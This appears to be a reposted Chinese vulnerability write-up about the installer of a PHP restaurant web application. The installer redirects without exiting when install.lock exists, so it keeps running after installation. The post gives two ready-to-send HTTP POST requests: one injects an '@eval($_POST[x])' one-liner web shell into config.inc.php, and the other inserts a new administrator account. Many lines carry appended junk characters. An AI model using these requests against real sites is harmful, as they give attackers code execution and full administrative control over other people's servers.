问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。6 n3 H5 x, R, h% Q6 T' c9 R
+ f$ j }) r' [& M! e2 R2 {; E
<?php
* r& \( _+ q- c' z; v. q& a: Aif(file_exists("../install.lock"))1 X6 J" M" r9 ^
{4 P# L0 @& i$ w2 H9 R8 H f8 y. R
header("Location: ../");//没有退出+ p# o. e& I6 h+ n* x( Q
}4 T; _" ~8 _& c: q. P
0 Y4 B5 _) {( M( l
//echo 'tst';exit;7 n7 F1 ?% g/ V- l, ^
require_once("init.php"); h; V+ o3 g: t: Z& d7 Z$ \/ k- X
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)( I" z) D# K7 W8 U2 W2 t/ b
{
) X, R: A+ ]$ ?+ D" r' `可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。( s) k2 k; I. I8 c [8 {
. ?2 d+ T+ Z; \" O
1、getshell(很危险)1 g" {$ p' L* J1 D) _
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)& v/ J% X y& R: G9 u, n9 q% e
{
* N) A. w7 q/ W$smarty->assign("step",1);6 z1 K, D* J) L* Q" _
$smarty->display("index.html");7 r" R8 ?9 k) U
}elseif($_REQUEST['step']==2)( a7 ]7 v; y/ d7 } [) K
{$ P8 H1 a e/ b6 V7 z
$mysql_host=trim($_POST['mysql_host']);
* {2 U2 h: I. v ]6 e $mysql_user=trim($_POST['mysql_user']);* X. {6 o l+ ]" z
$mysql_pwd=trim($_POST['mysql_pwd']);
, g% e7 p4 i! g( k $mysql_db=trim($_POST['mysql_db']);$ X( b8 X% x) j ~4 r0 E2 U* W9 I
$tblpre=trim($_POST['tblpre']);
/ b7 z' F, w: c3 } $domain==trim($_POST['domain']);8 U6 A: V' }9 L+ z7 h& p
$str="<?php \r\n";& E/ {" }- I. w5 b
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";3 b% F% k9 v- X, b/ n% T
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
6 {' u& D6 v4 _+ t) d( P- W8 \ $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";3 W5 s, \/ q8 q8 T
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
* r0 \1 j* o) d7 A5 W3 R $str.='define("MYSQL_CHARSET","GBK");'."\r\n";( D! A) q8 `" c: r
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
# p" L' Q/ i/ k $str.='define("DOMAIN","'.$domain.'");'."\r\n";
4 N4 L( {: s- }4 s0 L" @ $str.='define("SKINS","default");'."\r\n";' A' ~; E" [+ _- A$ Y" y- A
$str.='?>'; |( `& S) m9 P# F6 {
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件1 q/ |0 ^) U$ i i& z( w
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
# U& d7 i5 h% _, V) z7 I* OPOST /canting/install/index.php?m=index&step=2 HTTP/1.1# G/ f" P# ^. y( l( e2 E. n
Host: 192.168.80.129
8 c8 f+ \, H/ m8 [# VUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
/ X1 d& c8 p& N: GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# ^9 ^/ v4 _ Q$ p" W5 }( n% LAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
3 X& Z: u) y5 j- @Accept-Encoding: gzip, deflate2 b$ z6 H* |! ^; K, {. r9 Z) p
Referer: http://192.168.80.129/canting/install/index.php?step=1
0 C# I, _6 T) D w. {7 x* {Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42' ~% M' \, w" d& w
Content-Type: application/x-www-form-urlencoded/ H1 L/ V8 V1 i8 l# ?$ f! B Z
Content-Length: 126, s- t6 r/ D6 C/ L5 a M2 a: Y
$ N+ ^1 \+ S+ |4 S0 T# k+ Kmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
) j5 ]+ y6 d8 u) b' H1 U F+ g但是这个方法很危险,将导致网站无法运行。
: f2 O* k9 Z9 W' w# r: a$ _& }
3 U. K. K+ l7 |2 b* I" ]2、直接添加管理员
* Z$ _8 c7 ` B
6 \% q9 s. L& K! M) x. o3 Gelseif($_REQUEST['step']==5)& t: U2 Z$ k! W! }" `
{
# i8 j1 r5 s p! @* z$ \# w- h if($_POST)0 O5 k; \( p4 d) \
{ require_once("../config/config.inc.php");
; R2 J" C9 q+ g6 {: q5 y+ B $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD); U& t5 T, z6 o5 I6 {
mysql_select_db(MYSQL_DB,$link);
3 X; Q- q4 m# C; I0 a' v+ i6 D mysql_query("SET NAMES ".MYSQL_CHARSET );* P5 @8 G5 ~; Y- h8 z( l: o6 X
mysql_query("SET sql_mode=''");
& N. `5 R+ `4 A5 k! w" }7 A+ ^! ?5 a3 y; s* h
$adminname=trim($_POST['adminname']);
0 n; ^$ d5 ], v4 Y( Q @6 T$ x $pwd1=trim($_POST['pwd1']);
' D! q C m5 i* E/ U% N9 N $pwd2=trim($_POST['pwd2']);# v+ y. @& ]- ~8 X( a+ m0 H {
if(empty($adminname))
% Z4 n. M4 M- N0 X1 a; u1 I6 e2 q {
, U3 j+ c6 H! \4 N
* s# Z9 U1 V4 M echo "<script>alert('管理员不能为空');history.go(-1);</script>";# a. e( M6 h/ S, T& I4 j5 [. l
exit();& J; y3 M. {- O7 c
}
2 C8 p3 |' q9 Z if(($pwd1!=$pwd2) or empty($pwd1))
3 m$ P5 Y* d* R9 N, p# e {! T/ a3 y' V2 A/ ? j$ g4 o
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出( L) y c- z( d7 g% X
}; Q1 s" i h/ A' s @* `' W
mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
! Q2 w5 I ` S# C( M' K }5 s" T9 l3 e5 J0 B+ X7 ^
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
7 z @3 ?6 y# x; ~POST /canting/install/index.php?m=index&step=5 HTTP/1.1; C- V( ^0 E- Q; T( Q! S
Host: 192.168.80.129
) _4 K g& n4 \7 [% Q% WUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0* S1 J; s# F: ?( Q, n( |# {$ S& C7 h
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8& h! y+ l5 ]; P( H9 Z& }6 f6 p
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.39 z9 j. m! R5 }" v
Accept-Encoding: gzip, deflate
# L6 V: X. V' w9 vReferer: http://www.2cto.com /canting/install/index.php?step=19 I; q% `7 \3 n
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
' P% d: @1 Z: b9 ]4 P- z/ k* c! rContent-Type: application/x-www-form-urlencoded
9 G$ o |' E* |: X7 p" j1 [; d) wContent-Length: 46/ }5 K S: t, |1 _6 h' {& Y) E% }* m
7 i2 R3 Z$ ~, j: r4 F6 c
adminname=qingshen&pwd1=qingshen&pwd2=qingshen0 Y% o* F% {) ^ W2 o
|